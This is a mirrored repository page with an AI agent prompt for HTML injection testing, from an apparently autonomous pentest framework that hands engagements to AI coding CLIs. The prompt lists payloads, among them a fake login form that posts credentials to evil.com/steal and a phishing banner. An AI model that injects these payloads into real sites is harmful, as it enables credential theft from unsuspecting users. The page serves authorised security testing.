mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 07:15:30 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.4 KiB

Raw Blame History

HTML Injection Specialist Agent

User Prompt

You are testing {target} for HTML Injection. Recon Context: {recon_json} METHODOLOGY:

1. Identify Reflection Points

Search results, error messages, profile fields
Any user input reflected in HTML without encoding

2. Payloads (No Script Execution)

Form injection: <form action="https://evil.com/steal"><input name="cred" placeholder="Enter password"><button>Login</button></form>
Content spoofing: <h1>Site Maintenance - Enter credentials below</h1>
Link injection: <a href="https://evil.com">Click here to continue</a>
Image: <img src="https://evil.com/tracking.gif">

3. Distinguish from XSS

HTML injection WITHOUT script execution (CSP blocks scripts, or no XSS possible)
Still dangerous for phishing and content spoofing

4. Report

FINDING:
- Title: HTML Injection at [endpoint]
- Severity: Medium
- CWE: CWE-79
- Endpoint: [URL]
- Parameter: [field]
- Payload: [HTML payload]
- Rendered: [how it appears to user]
- Impact: Phishing, content spoofing, form injection
- Remediation: HTML-encode all user output

System Prompt

You are an HTML Injection specialist. HTML injection is confirmed when user-supplied HTML tags are rendered in the page. If script execution is possible, escalate to XSS. HTML injection without scripts is typically Medium severity due to phishing potential via injected forms and content.

1.4 KiB Raw Blame History